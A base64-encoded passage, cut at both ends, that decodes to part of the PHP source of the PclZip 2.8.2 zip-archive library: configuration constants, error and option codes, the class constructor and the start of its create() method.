90aWNlIHRoYXQgY2hhbmdpbmcgdGhpcyB2YWx1ZSwgbWF5IGhhdmUgaW1wYWN0IG9uIGV4aXN0aW5nCiAgLy8gc2NyaXB0cywgdXNpbmcgc3BhY2Ugc2VwYXJhdGVkIGZpbGVuYW1lcy4KICAvLyBSZWNvbW1hbmRlZCB2YWx1ZXMgZm9yIGNvbXBhdGliaWxpdHkgd2l0aCBvbGRlciB2ZXJzaW9ucyA6CiAgLy9kZWZpbmUoICdQQ0xaSVBfU0VQQVJBVE9SJywgJyAnICk7CiAgLy8gUmVjb21tYW5kZWQgdmFsdWVzIGZvciBzbWFydCBzZXBhcmF0aW9uIG9mIGZpbGVuYW1lcy4KICBpZiAoIWRlZmluZWQoJ1BDTFpJUF9TRVBBUkFUT1InKSkgewogICAgZGVmaW5lKCAnUENMWklQX1NFUEFSQVRPUicsICcsJyApOwogIH0KCiAgLy8gLS0tLS0gRXJyb3IgY29uZmlndXJhdGlvbgogIC8vIDAgOiBQY2xaaXAgQ2xhc3MgaW50ZWdyYXRlZCBlcnJvciBoYW5kbGluZwogIC8vIDEgOiBQY2xFcnJvciBleHRlcm5hbCBsaWJyYXJ5IGVycm9yIGhhbmRsaW5nLiBCeSBlbmFibGluZyB0aGlzCiAgLy8gICAgIHlvdSBtdXN0IGVuc3VyZSB0aGF0IHlvdSBoYXZlIGluY2x1ZGVkIFBjbEVycm9yIGxpYnJhcnkuCiAgLy8gWzIsLi4uXSA6IHJlc2VydmVkIGZvciBmdXR1ciB1c2UKICBpZiAoIWRlZmluZWQoJ1BDTFpJUF9FUlJPUl9FWFRFUk5BTCcpKSB7CiAgICBkZWZpbmUoICdQQ0xaSVBfRVJST1JfRVhURVJOQUwnLCAwICk7CiAgfQoKICAvLyAtLS0tLSBPcHRpb25hbCBzdGF0aWMgdGVtcG9yYXJ5IGRpcmVjdG9yeQogIC8vICAgICAgIEJ5IGRlZmF1bHQgdGVtcG9yYXJ5IGZpbGVzIGFyZSBnZW5lcmF0ZWQgaW4gdGhlIHNjcmlwdCBjdXJyZW50CiAgLy8gICAgICAgcGF0aC4KICAvLyAgICAgICBJZiBkZWZpbmVkIDoKICAvLyAgICAgICAtIE1VU1QgQkUgdGVybWluYXRlZCBieSBhICcvJy4KICAvLyAgICAgICAtIE1VU1QgYmUgYSB2YWxpZCwgYWxyZWFkeSBjcmVhdGVkIGRpcmVjdG9yeQogIC8vICAgICAgIFNhbXBsZXMgOgogIC8vIGRlZmluZSggJ1BDTFpJUF9URU1QT1JBUllfRElSJywgJy90ZW1wLycgKTsKICAvLyBkZWZpbmUoICdQQ0xaSVBfVEVNUE9SQVJZX0RJUicsICdDOi9UZW1wLycgKTsKICBpZiAoIWRlZmluZWQoJ1BDTFpJUF9URU1QT1JBUllfRElSJykpIHsKICAgIGRlZmluZSggJ1BDTFpJUF9URU1QT1JBUllfRElSJywgJycgKTsKICB9CgogIC8vIC0tLS0tIE9wdGlvbmFsIHRocmVzaG9sZCByYXRpbyBmb3IgdXNlIG9mIHRlbXBvcmFyeSBmaWxlcwogIC8vICAgICAgIFBjbHppcCBzZW5zZSB0aGUgc2l6ZSBvZiB0aGUgZmlsZSB0byBhZGQvZXh0cmFjdCBhbmQgZGVjaWRlIHRvCiAgLy8gICAgICAgdXNlIG9yIG5vdCB0ZW1wb3JhcnkgZmlsZS4gVGhlIGFsZ29yeXRobSBpcyBsb29raW5nIGZvcgogIC8vICAgICAgIG1lbW9yeV9saW1pdCBvZiBQSFAgYW5kIGFwcGx5IGEgcmF0aW8uCiAgLy8gICAgICAgdGhyZXNob2xkID0gbWVtb3J5X2xpbWl0ICogcmF0aW8uCiAgLy8gICAgICAgUmVjb21tZW5kZWQgdmFsdWVzIGFyZSB1bmRlciAwLjUuIERlZmF1bHQgMC40Ny4KICAvLyAgICAgICBTYW1wbGVzIDoKICAvLyBkZWZpbmUoICdQQ0xaSVBfVEVNUE9SQVJZX0ZJTEVfUkFUSU8nLCAwLjUgKTsKICBpZiAoIWRlZmluZWQoJ1BDTFpJUF9URU1QT1JBUllfRklMRV9SQVRJTycpKSB7CiAgICBkZWZpbmUoICdQQ0xaSVBfVEVNUE9SQVJZX0ZJTEVfUkFUSU8nLCAwLjQ3ICk7CiAgfQoKLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KLy8gKioqKiogVU5ERVIgVEhJUyBMSU5FIE5PVEhJTkcgTkVFRFMgVE8gQkUgTU9ESUZJRUQgKioqKioKLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCiAgLy8gLS0tLS0gR2xvYmFsIHZhcmlhYmxlcwogICRnX3BjbHppcF92ZXJzaW9uID0gIjIuOC4yIjsKCiAgLy8gLS0tLS0gRXJyb3IgY29kZXMKICAvLyAgIC0xIDogVW5hYmxlIHRvIG9wZW4gZmlsZSBpbiBiaW5hcnkgd3JpdGUgbW9kZQogIC8vICAgLTIgOiBVbmFibGUgdG8gb3BlbiBmaWxlIGluIGJpbmFyeSByZWFkIG1vZGUKICAvLyAgIC0zIDogSW52YWxpZCBwYXJhbWV0ZXJzCiAgLy8gICAtNCA6IEZpbGUgZG9lcyBub3QgZXhpc3QKICAvLyAgIC01IDogRmlsZW5hbWUgaXMgdG9vIGxvbmcgKG1heC4gMjU1KQogIC8vICAgLTYgOiBOb3QgYSB2YWxpZCB6aXAgZmlsZQogIC8vICAgLTcgOiBJbnZhbGlkIGV4dHJhY3RlZCBmaWxlIHNpemUKICAvLyAgIC04IDogVW5hYmxlIHRvIGNyZWF0ZSBkaXJlY3RvcnkKICAvLyAgIC05IDogSW52YWxpZCBhcmNoaXZlIGV4dGVuc2lvbgogIC8vICAtMTAgOiBJbnZhbGlkIGFyY2hpdmUgZm9ybWF0CiAgLy8gIC0xMSA6IFVuYWJsZSB0byBkZWxldGUgZmlsZSAodW5saW5rKQogIC8vICAtMTIgOiBVbmFibGUgdG8gcmVuYW1lIGZpbGUgKHJlbmFtZSkKICAvLyAgLTEzIDogSW52YWxpZCBoZWFkZXIgY2hlY2tzdW0KICAvLyAgLTE0IDogSW52YWxpZCBhcmNoaXZlIHNpemUKICBkZWZpbmUoICdQQ0xaSVBfRVJSX1VTRVJfQUJPUlRFRCcsIDIgKTsKICBkZWZpbmUoICdQQ0xaSVBfRVJSX05PX0VSUk9SJywgMCApOwogIGRlZmluZSggJ1BDTFpJUF9FUlJfV1JJVEVfT1BFTl9GQUlMJywgLTEgKTsKICBkZWZpbmUoICdQQ0xaSVBfRVJSX1JFQURfT1BFTl9GQUlMJywgLTIgKTsKICBkZWZpbmUoICdQQ0xaSVBfRVJSX0lOVkFMSURfUEFSQU1FVEVSJywgLTMgKTsKICBkZWZpbmUoICdQQ0xaSVBfRVJSX01JU1NJTkdfRklMRScsIC00ICk7CiAgZGVmaW5lKCAnUENMWklQX0VSUl9GSUxFTkFNRV9UT09fTE9ORycsIC01ICk7CiAgZGVmaW5lKCAnUENMWklQX0VSUl9JTlZBTElEX1pJUCcsIC02ICk7CiAgZGVmaW5lKCAnUENMWklQX0VSUl9CQURfRVhUUkFDVEVEX0ZJTEUnLCAtNyApOwogIGRlZmluZSggJ1BDTFpJUF9FUlJfRElSX0NSRUFURV9GQUlMJywgLTggKTsKICBkZWZpbmUoICdQQ0xaSVBfRVJSX0JBRF9FWFRFTlNJT04nLCAtOSApOwogIGRlZmluZSggJ1BDTFpJUF9FUlJfQkFEX0ZPUk1BVCcsIC0xMCApOwogIGRlZmluZSggJ1BDTFpJUF9FUlJfREVMRVRFX0ZJTEVfRkFJTCcsIC0xMSApOwogIGRlZmluZSggJ1BDTFpJUF9FUlJfUkVOQU1FX0ZJTEVfRkFJTCcsIC0xMiApOwogIGRlZmluZSggJ1BDTFpJUF9FUlJfQkFEX0NIRUNLU1VNJywgLTEzICk7CiAgZGVmaW5lKCAnUENMWklQX0VSUl9JTlZBTElEX0FSQ0hJVkVfWklQJywgLTE0ICk7CiAgZGVmaW5lKCAnUENMWklQX0VSUl9NSVNTSU5HX09QVElPTl9WQUxVRScsIC0xNSApOwogIGRlZmluZSggJ1BDTFpJUF9FUlJfSU5WQUxJRF9PUFRJT05fVkFMVUUnLCAtMTYgKTsKICBkZWZpbmUoICdQQ0xaSVBfRVJSX0FMUkVBRFlfQV9ESVJFQ1RPUlknLCAtMTcgKTsKICBkZWZpbmUoICdQQ0xaSVBfRVJSX1VOU1VQUE9SVEVEX0NPTVBSRVNTSU9OJywgLTE4ICk7CiAgZGVmaW5lKCAnUENMWklQX0VSUl9VTlNVUFBPUlRFRF9FTkNSWVBUSU9OJywgLTE5ICk7CiAgZGVmaW5lKCAnUENMWklQX0VSUl9JTlZBTElEX0FUVFJJQlVURV9WQUxVRScsIC0yMCApOwogIGRlZmluZSggJ1BDTFpJUF9FUlJfRElSRUNUT1JZX1JFU1RSSUNUSU9OJywgLTIxICk7CgogIC8vIC0tLS0tIE9wdGlvbnMgdmFsdWVzCiAgZGVmaW5lKCAnUENMWklQX09QVF9QQVRIJywgNzcwMDEgKTsKICBkZWZpbmUoICdQQ0xaSVBfT1BUX0FERF9QQVRIJywgNzcwMDIgKTsKICBkZWZpbmUoICdQQ0xaSVBfT1BUX1JFTU9WRV9QQVRIJywgNzcwMDMgKTsKICBkZWZpbmUoICdQQ0xaSVBfT1BUX1JFTU9WRV9BTExfUEFUSCcsIDc3MDA0ICk7CiAgZGVmaW5lKCAnUENMWklQX09QVF9TRVRfQ0hNT0QnLCA3NzAwNSApOwogIGRlZmluZSggJ1BDTFpJUF9PUFRfRVhUUkFDVF9BU19TVFJJTkcnLCA3NzAwNiApOwogIGRlZmluZSggJ1BDTFpJUF9PUFRfTk9fQ09NUFJFU1NJT04nLCA3NzAwNyApOwogIGRlZmluZSggJ1BDTFpJUF9PUFRfQllfTkFNRScsIDc3MDA4ICk7CiAgZGVmaW5lKCAnUENMWklQX09QVF9CWV9JTkRFWCcsIDc3MDA5ICk7CiAgZGVmaW5lKCAnUENMWklQX09QVF9CWV9FUkVHJywgNzcwMTAgKTsKICBkZWZpbmUoICdQQ0xaSVBfT1BUX0JZX1BSRUcnLCA3NzAxMSApOwogIGRlZmluZSggJ1BDTFpJUF9PUFRfQ09NTUVOVCcsIDc3MDEyICk7CiAgZGVmaW5lKCAnUENMWklQX09QVF9BRERfQ09NTUVOVCcsIDc3MDEzICk7CiAgZGVmaW5lKCAnUENMWklQX09QVF9QUkVQRU5EX0NPTU1FTlQnLCA3NzAxNCApOwogIGRlZmluZSggJ1BDTFpJUF9PUFRfRVhUUkFDVF9JTl9PVVRQVVQnLCA3NzAxNSApOwogIGRlZmluZSggJ1BDTFpJUF9PUFRfUkVQTEFDRV9ORVdFUicsIDc3MDE2ICk7CiAgZGVmaW5lKCAnUENMWklQX09QVF9TVE9QX09OX0VSUk9SJywgNzcwMTcgKTsKICAvLyBIYXZpbmcgYmlnIHRyb3VibGUgd2l0aCBjcnlwdC4gTmVlZCB0byBtdWx0aXBseSAyIGxvbmcgaW50CiAgLy8gd2hpY2ggaXMgbm90IGNvcnJlY3RseSBzdXBwb3J0ZWQgYnkgUEhQIC4uLgogIC8vZGVmaW5lKCAnUENMWklQX09QVF9DUllQVCcsIDc3MDE4ICk7CiAgZGVmaW5lKCAnUENMWklQX09QVF9FWFRSQUNUX0RJUl9SRVNUUklDVElPTicsIDc3MDE5ICk7CiAgZGVmaW5lKCAnUENMWklQX09QVF9URU1QX0ZJTEVfVEhSRVNIT0xEJywgNzcwMjAgKTsKICBkZWZpbmUoICdQQ0xaSVBfT1BUX0FERF9URU1QX0ZJTEVfVEhSRVNIT0xEJywgNzcwMjAgKTsgLy8gYWxpYXMKICBkZWZpbmUoICdQQ0xaSVBfT1BUX1RFTVBfRklMRV9PTicsIDc3MDIxICk7CiAgZGVmaW5lKCAnUENMWklQX09QVF9BRERfVEVNUF9GSUxFX09OJywgNzcwMjEgKTsgLy8gYWxpYXMKICBkZWZpbmUoICdQQ0xaSVBfT1BUX1RFTVBfRklMRV9PRkYnLCA3NzAyMiApOwogIGRlZmluZSggJ1BDTFpJUF9PUFRfQUREX1RFTVBfRklMRV9PRkYnLCA3NzAyMiApOyAvLyBhbGlhcwoKICAvLyAtLS0tLSBGaWxlIGRlc2NyaXB0aW9uIGF0dHJpYnV0ZXMKICBkZWZpbmUoICdQQ0xaSVBfQVRUX0ZJTEVfTkFNRScsIDc5MDAxICk7CiAgZGVmaW5lKCAnUENMWklQX0FUVF9GSUxFX05FV19TSE9SVF9OQU1FJywgNzkwMDIgKTsKICBkZWZpbmUoICdQQ0xaSVBfQVRUX0ZJTEVfTkVXX0ZVTExfTkFNRScsIDc5MDAzICk7CiAgZGVmaW5lKCAnUENMWklQX0FUVF9GSUxFX01USU1FJywgNzkwMDQgKTsKICBkZWZpbmUoICdQQ0xaSVBfQVRUX0ZJTEVfQ09OVEVOVCcsIDc5MDA1ICk7CiAgZGVmaW5lKCAnUENMWklQX0FUVF9GSUxFX0NPTU1FTlQnLCA3OTAwNiApOwoKICAvLyAtLS0tLSBDYWxsIGJhY2tzIHZhbHVlcwogIGRlZmluZSggJ1BDTFpJUF9DQl9QUkVfRVhUUkFDVCcsIDc4MDAxICk7CiAgZGVmaW5lKCAnUENMWklQX0NCX1BPU1RfRVhUUkFDVCcsIDc4MDAyICk7CiAgZGVmaW5lKCAnUENMWklQX0NCX1BSRV9BREQnLCA3ODAwMyApOwogIGRlZmluZSggJ1BDTFpJUF9DQl9QT1NUX0FERCcsIDc4MDA0ICk7CiAgLyogRm9yIGZ1dHVyIHVzZQogIGRlZmluZSggJ1BDTFpJUF9DQl9QUkVfTElTVCcsIDc4MDA1ICk7CiAgZGVmaW5lKCAnUENMWklQX0NCX1BPU1RfTElTVCcsIDc4MDA2ICk7CiAgZGVmaW5lKCAnUENMWklQX0NCX1BSRV9ERUxFVEUnLCA3ODAwNyApOwogIGRlZmluZSggJ1BDTFpJUF9DQl9QT1NUX0RFTEVURScsIDc4MDA4ICk7CiAgKi8KCiAgLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KICAvLyBDbGFzcyA6IFBjbFppcAogIC8vIERlc2NyaXB0aW9uIDoKICAvLyAgIFBjbFppcCBpcyB0aGUgY2xhc3MgdGhhdCByZXByZXNlbnQgYSBaaXAgYXJjaGl2ZS4KICAvLyAgIFRoZSBwdWJsaWMgbWV0aG9kcyBhbGxvdyB0aGUgbWFuaXB1bGF0aW9uIG9mIHRoZSBhcmNoaXZlLgogIC8vIEF0dHJpYnV0ZXMgOgogIC8vICAgQXR0cmlidXRlcyBtdXN0IG5vdCBiZSBhY2Nlc3NlZCBkaXJlY3RseS4KICAvLyBNZXRob2RzIDoKICAvLyAgIFBjbFppcCgpIDogT2JqZWN0IGNyZWF0b3IKICAvLyAgIGNyZWF0ZSgpIDogQ3JlYXRlcyB0aGUgWmlwIGFyY2hpdmUKICAvLyAgIGxpc3RDb250ZW50KCkgOiBMaXN0IHRoZSBjb250ZW50IG9mIHRoZSBaaXAgYXJjaGl2ZQogIC8vICAgZXh0cmFjdCgpIDogRXh0cmFjdCB0aGUgY29udGVudCBvZiB0aGUgYXJjaGl2ZQogIC8vICAgcHJvcGVydGllcygpIDogTGlzdCB0aGUgcHJvcGVydGllcyBvZiB0aGUgYXJjaGl2ZQogIC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiAgY2xhc3MgUGNsWmlwCiAgewogICAgLy8gLS0tLS0gRmlsZW5hbWUgb2YgdGhlIHppcCBmaWxlCiAgICB2YXIgJHppcG5hbWUgPSAnJzsKCiAgICAvLyAtLS0tLSBGaWxlIGRlc2NyaXB0b3Igb2YgdGhlIHppcCBmaWxlCiAgICB2YXIgJHppcF9mZCA9IDA7CgogICAgLy8gLS0tLS0gSW50ZXJuYWwgZXJyb3IgaGFuZGxpbmcKICAgIHZhciAkZXJyb3JfY29kZSA9IDE7CiAgICB2YXIgJGVycm9yX3N0cmluZyA9ICcnOwoKICAgIC8vIC0tLS0tIEN1cnJlbnQgc3RhdHVzIG9mIHRoZSBtYWdpY19xdW90ZXNfcnVudGltZQogICAgLy8gVGhpcyB2YWx1ZSBzdG9yZSB0aGUgcGhwIGNvbmZpZ3VyYXRpb24gZm9yIG1hZ2ljX3F1b3RlcwogICAgLy8gVGhlIGNsYXNzIGNhbiB0aGVuIGRpc2FibGUgdGhlIG1hZ2ljX3F1b3RlcyBhbmQgcmVzZXQgaXQgYWZ0ZXIKICAgIHZhciAkbWFnaWNfcXVvdGVzX3N0YXR1czsKCiAgICBmdW5jdGlvbiBfX2NvbnN0cnVjdCgkcF96aXBuYW1lKSB7CgkJcmV0dXJuICR0aGlzLT5QY2xaaXAoJHBfemlwbmFtZSk7Cgl9CgogIC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiAgLy8gRnVuY3Rpb24gOiBQY2xaaXAoKQogIC8vIERlc2NyaXB0aW9uIDoKICAvLyAgIENyZWF0ZXMgYSBQY2xaaXAgb2JqZWN0IGFuZCBzZXQgdGhlIG5hbWUgb2YgdGhlIGFzc29jaWF0ZWQgWmlwIGFyY2hpdmUKICAvLyAgIGZpbGVuYW1lLgogIC8vICAgTm90ZSB0aGF0IG5vIHJlYWwgYWN0aW9uIGlzIHRha2VuLCBpZiB0aGUgYXJjaGl2ZSBkb2VzIG5vdCBleGlzdCBpdCBpcyBub3QKICAvLyAgIGNyZWF0ZWQuIFVzZSBjcmVhdGUoKSBmb3IgdGhhdC4KICAvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQogIGZ1bmN0aW9uIFBjbFppcCgkcF96aXBuYW1lKQogIHsKCiAgICAvLyAtLS0tLSBUZXN0cyB0aGUgemxpYgogICAgaWYgKCFmdW5jdGlvbl9leGlzdHMoJ2d6b3BlbicpKQogICAgewogICAgICBkaWUoJ0Fib3J0ICcuYmFzZW5hbWUoX19GSUxFX18pLicgOiBNaXNzaW5nIHpsaWIgZXh0ZW5zaW9ucycpOwogICAgfQoKICAgIC8vIC0tLS0tIFNldCB0aGUgYXR0cmlidXRlcwogICAgJHRoaXMtPnppcG5hbWUgPSAkcF96aXBuYW1lOwogICAgJHRoaXMtPnppcF9mZCA9IDA7CiAgICAkdGhpcy0+bWFnaWNfcXVvdGVzX3N0YXR1cyA9IC0xOwoKICAgIC8vIC0tLS0tIFJldHVybgogICAgcmV0dXJuOwogIH0KICAvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQoKICAvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQogIC8vIEZ1bmN0aW9uIDoKICAvLyAgIGNyZWF0ZSgkcF9maWxlbGlzdCwgJHBfYWRkX2Rpcj0iIiwgJHBfcmVtb3ZlX2Rpcj0iIikKICAvLyAgIGNyZWF0ZSgkcF9maWxlbGlzdCwgJHBfb3B0aW9uLCAkcF9vcHRpb25fdmFsdWUsIC4uLikKICAvLyBEZXNjcmlwdGlvbiA6CiAgLy8gICBUaGlzIG1ldGhvZCBzdXBwb3J0cyB0d28gZGlmZmVyZW50IHN5bm9wc2lzLiBUaGUgZmlyc3Qgb25lIGlzIGhpc3RvcmljYWwuCiAgLy8gICBUaGlzIG1ldGhvZCBjcmVhdGVzIGEgWmlwIEFyY2hpdmUuIFRoZSBaaXAgZmlsZSBpcyBjcmVhdGVkIGluIHRoZQogIC8vICAgZmlsZXN5c3RlbS4gVGhlIGZpbGVzIGFuZCBkaXJlY3RvcmllcyBpbmRpY2F0ZWQgaW4gJHBfZmlsZWxpc3QKICAvLyAgIGFyZSBhZGRlZCBpbiB0aGUgYXJjaGl2ZS4gU2VlIHRoZSBwYXJhbWV0ZXJzIGRlc2NyaXB0aW9uIGZvciB0aGUKICAvLyAgIHN1cHBvcnRlZCBmb3JtYXQgb2YgJHBfZmlsZWxpc3QuCiAgLy8gICBXaGVuIGEgZGlyZWN0b3J5IGlzIGluIHRoZSBsaXN0LCB0aGUgZGlyZWN0b3J5IGFuZCBpdHMgY29udGVudCBpcyBhZGRlZAogIC8vICAgaW4gdGhlIGFyY2hpdmUuCiAgLy8gICBJbiB0aGlzIHN5bm9wc2lzLCB0aGUgZnVuY3Rpb24gdGFrZXMgYW4gb3B0aW9uYWwgdmFyaWFibGUgbGlzdCBvZgogIC8vICAgb3B0aW9ucy4gU2VlIGJlbGxvdyB0aGUgc3VwcG9ydGVkIG9wdGlvbnMuCiAgLy8gUGFyYW1ldGVycyA6CiAgLy8gICAkcF9maWxlbGlzdCA6IEFuIGFycmF5IGNvbnRhaW5pbmcgZmlsZSBvciBkaXJlY3RvcnkgbmFtZXMsIG9yCiAgLy8gICAgICAgICAgICAgICAgIGEgc3RyaW5nIGNvbnRhaW5pbmcgb25lIGZpbGVuYW1lIG9yIG9uZSBkaXJlY3RvcnkgbmFtZSwgb3IKICAvLyAgICAgICAgICAgICAgICAgYSBzdHJpbmcgY29udGFpbmluZyBhIGxpc3Qgb2YgZmlsZW5hbWVzIGFuZC9vciBkaXJlY3RvcnkKICAvLyAgICAgICAgICAgICAgICAgbmFtZXMgc2VwYXJhdGVkIGJ5IHNwYWNlcy4KICAvLyAgICRwX2FkZF9kaXIgOiBBIHBhdGggdG8gYWRkIGJlZm9yZSB0aGUgcmVhbCBwYXRoIG9mIHRoZSBhcmNoaXZlZCBmaWxlLAogIC8vICAgICAgICAgICAgICAgIGluIG9yZGVyIHRvIGhhdmUgaXQgbWVtb3JpemVkIGluIHRoZSBhcmNoaXZlLgogIC8vICAgJHBfcmVtb3ZlX2RpciA6IEEgcGF0aCB0byByZW1vdmUgZnJvbSB0aGUgcmVhbCBwYXRoIG9mIHRoZSBmaWxlIHRvIGFyY2hpdmUsCiAgLy8gICAgICAgICAgICAgICAgICAgaW4gb3JkZXIgdG8gaGF2ZSBhIHNob3J0ZXIgcGF0aCBtZW1vcml6ZWQgaW4gdGhlIGFyY2hpdmUuCiAgLy8gICAgICAgICAgICAgICAgICAgV2hlbiAkcF9hZGRfZGlyIGFuZCAkcF9yZW1vdmVfZGlyIGFyZSBzZXQsICRwX3JlbW92ZV9kaXIKICAvLyAgICAgICAgICAgICAgICAgICBpcyByZW1vdmVkIGZpcnN0LCBiZWZvcmUgJHBfYWRkX2RpciBpcyBhZGRlZC4KICAvLyBPcHRpb25zIDoKICAvLyAgIFBDTFpJUF9PUFRfQUREX1BBVEggOgogIC8vICAgUENMWklQX09QVF9SRU1PVkVfUEFUSCA6CiAgLy8gICBQQ0xaSVBfT1BUX1JFTU9WRV9BTExfUEFUSCA6CiAgLy8gICBQQ0xaSVBfT1BUX0NPTU1FTlQgOgogIC8vICAgUENMWklQX0NCX1BSRV9BREQgOgogIC8vICAgUENMWklQX0NCX1BPU1RfQUREIDoKICAvLyBSZXR1cm4gVmFsdWVzIDoKICAvLyAgIDAgb24gZmFpbHVyZSwKICAvLyAgIFRoZSBsaXN0IG9mIHRoZSBhZGRlZCBmaWxlcywgd2l0aCBhIHN0YXR1cyBvZiB0aGUgYWRkIGFjdGlvbi4KICAvLyAgIChzZWUgUGNsWmlwOjpsaXN0Q29udGVudCgpIGZvciBsaXN0IGVudHJ5IGZvcm1hdCkKICAvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQogIGZ1bmN0aW9uIGNyZWF0ZSgkcF9maWxlbGlzdCkKICB7CiAgICAkdl9yZXN1bHQ9MTsKCiAgICAvLyAtLS0tLSBSZXNldCB0aGUgZXJyb3IgaGFuZGxlcgogICAgJHRoaXMtPnByaXZFcnJvclJlc2V0KCk7CgogICAgLy8gLS0tLS0gU2V0IGRlZmF1bHQgdmFsdWVzCiAgICAkdl9vcHRpb25zID0gYXJyYXkoKTsKICAgICR2X29wdGlvbnNbUENMWklQX09QVF9OT19DT01QUkVTU0lPTl0gPSBGQUxTRTsKCiAgICAvLyAtLS0tLSBMb29rIGZvciB2YXJpYWJsZSBvcHRpb25zIGFyZ3VtZW50cwogICAgJHZfc2l6ZSA9IGZ1bmNfbnVtX2FyZ3MoKTsKCiAgICAvLyAtLS0tLSBMb29rIGZvciBhcmd1bWVudHMKICAgIGlmICgkdl9zaXplID4gMSkgewogICAgICAvLyAtLS0tLSBHZXQgdGhlIGFyZ3VtZW50cwogICAgICAkdl9hcmdfbGlzdCA9IGZ1bmNfZ2V0X2FyZ3MoKTsKCiAgICAgIC8vIC0tLS0tIFJlbW92ZSBmcm9tIHRoZSBvcHRpb25zIGxpc3QgdGhlIGZpcnN0IGFyZ3VtZW50CiAgICAgIGFycmF5X3NoaWZ0KCR2X2FyZ19saXN0KTsKICAgICAgJHZfc2l6ZS0tOwoKICAgICAgLy8gLS0tLS0gTG9vayBmb3IgZmlyc3QgYXJnCiAgICAgIGlmICgoaXNfaW50ZWdlcigkdl9hcmdfbGlzdFswXSkpICYmICgkdl9hcmdfbGlzdFswXSA+IDc3MDAwKSkgewoKICAgICAgICAvLyAtLS0tLSBQYXJzZSB0aGUgb3B0aW9ucwogICAgICAgICR2X3Jlc3VsdCA9ICR0aGlzLT5wcml2UGFyc2VPcHRpb25zKCR2X2FyZ19saXN0LCAkdl9zaXplLCAkdl9vcHRpb25zLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFycmF5IChQQ0xaSVBfT1BUX1JFTU9WRV9QQVRIID0+ICdvcHRpb25hbCcsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFBDTFpJUF9PUFRfUkVNT1ZFX0FMTF9QQVRIID0+ICdvcHRpb25hbCcsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFBDTFpJUF9PUFRfQUREX1BBVEggPT4gJ29wdGlvbmFsJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUENMWklQX0NCX1BSRV9BREQgPT4gJ29wdGlvbmFsJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUENMWklQX0NCX1BPU1RfQUREID0+ICdvcHRpb25hbCcsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFBDTFpJUF9PUFRfTk9fQ09NUFJFU1NJT04gPT4gJ29wdGlvbmFsJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUENMWklQX09QVF9DT01NRU5UID0+ICdvcHRpb25hbCcsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFBDTFpJUF9PUFRfVEVNUF9GSUxFX1RIUkVTSE9MRCA9PiAnb3B0aW9uYWwnLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ0xaSVBfT1BUX1RFTVBfRklMRV9PTiA9PiAnb3B0aW9uYWwnLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ0xaSVBfT1BUX1RFTVBfRklMRV9PRkYgPT4gJ29wdGlvbmFsJwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvLywgUENMWklQX09QVF9DUllQVCA9PiAnb3B0aW9uYWwnCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICkpOwogICAgICAgIGlmICgkdl9yZXN1bHQgIT0gMSkgewogICAgICAgICAgcmV0dXJuIDA7CiAgICAgICAgfQogICAgICB9CgogICAgICAvLyAtLS0tLSBMb29rIGZvciAyIGFyZ3MKICAgICAgLy8gSGVyZSB3ZSBuZWVkIHRvIHN1cHBvcnQgdGhlIGZpcnN0IGhpc3RvcmljIHN5bm9wc2lzIG9mIHRoZQogICAgICAvLyBtZXRob2QuCiAgICAgIGVsc2UgewoKICAgICAgICAvLyAtLS0tLSBHZXQgdGhlIGZpcnN0IGFyZ3VtZW50CiAgICAgICAgJHZfb3B0aW9uc1tQQ0xaSVBfT1BUX0FERF9QQVRIXSA9ICR2X2FyZ19saXN0WzBdOwoKICAgICAgICAvLyAtLS0tLSBMb29rIGZvciB0aGUgb3B0aW9uYWwgc2Vjb25kIGFyZ3VtZW50CiAgICAgICAgaWYgKCR2X3NpemUgPT0gMikgewogICAgICAgICAgJHZfb3B0aW9uc1t